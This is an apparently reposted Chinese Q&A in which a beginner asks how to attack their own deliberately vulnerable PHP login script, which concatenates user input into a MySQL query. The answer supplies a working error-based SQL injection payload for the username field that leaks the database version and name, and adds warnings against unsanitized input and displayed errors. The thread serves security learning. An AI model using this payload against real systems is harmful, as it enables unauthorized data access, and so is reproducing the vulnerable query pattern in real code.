php – 如何在此示例中注入SQL
发布时间:2020-12-13 21:42:13 所属栏目:PHP教程 来源:网络整理
导读:我的问题非常具体,但我认为这将有助于我对安全性和SQL注入的整体理解.我正在运行一个带有简单表单的本地网页,用于查看SQL注入如何直接工作,通过对我自己的数据库和网页进行操作.我一直在改变我的php文件验证用户的方式,所以我可以看到差异.我是初学者,php文
我的问题非常具体,但我认为这将有助于我对安全性和SQL注入的整体理解.我正在运行一个带有简单表单的本地网页,用于查看SQL注入如何直接工作,通过对我自己的数据库和网页进行操作.我一直在改变我的php文件验证用户的方式,所以我可以看到差异.我是初学者,php文件非常简单.我目前的
PHP代码是:
<?php $username = $_POST['username']; $password = $_POST['password']; $conn = mysql_connect('localhost','root','password'); mysql_select_db(test1); $query = "SELECT username,password FROM users WHERE username = '$username'"; $result = mysql_query($query) or die("Query failed: " . mysql_error()); $arr = mysql_fetch_array($result); if($arr['username'] == $username && $arr['password'] == $password && strlen($username) > 0){ header('Location:index.php'); }else{ header('Location:login.html'); } ?> 我不知道这是一种好的还是坏的验证方式.我只是想知道一个如何注入它的例子,因为我无法想出这个. MySQL_query()只允许1个语句,因此我不能将语句链接在一起,而且我不知道还能做些什么.我已经更改了文件,所以我可以做 解决方法
以用户名发送:
a' and(select 1 from(select count(*),concat((select concat_ws(0x3a,version(),database())),floor(rand(0)*2))x from information_schema.tables group by x)a) union select 1,' 我不确定,但我认为不可能重定向到index.php,但上面的例子会告诉你一些有趣的东西. 永远不要对这些安全漏洞进行非清理,因为如果允许对mysql表使用SELECT命令,恶意用户甚至可以获得mysql的root用户密码等等. 顺便说一句,你永远不应该向最终用户显示mysql_error(). (编辑:李大同) 【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容! |